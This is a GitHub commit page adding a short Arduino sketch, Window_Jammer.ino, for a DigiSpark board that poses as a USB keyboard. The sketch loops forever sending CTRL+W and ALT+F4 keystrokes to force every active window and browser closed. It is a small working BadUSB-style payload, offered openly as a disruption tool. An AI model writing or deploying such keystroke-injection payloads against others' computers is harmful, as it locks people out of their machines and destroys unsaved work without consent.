Skip to content

Commit

Permalink
Create Window_Jammer.ino
Browse files Browse the repository at this point in the history
  • Loading branch information
CedArctic authored May 6, 2018
1 parent d8134b5 commit b88f12b
Showing 1 changed file with 13 additions and 0 deletions.
13 changes: 13 additions & 0 deletions Window_Jammer/Window_Jammer.ino
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
// A simple script to have the DigiSpark constantly spam ALT+F4 and CTRL+W key combos forcing all active windows and browsers to close

#include "DigiKeyboard.h"
void setup() {
}

void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
}

0 comments on commit b88f12b

Please sign in to comment.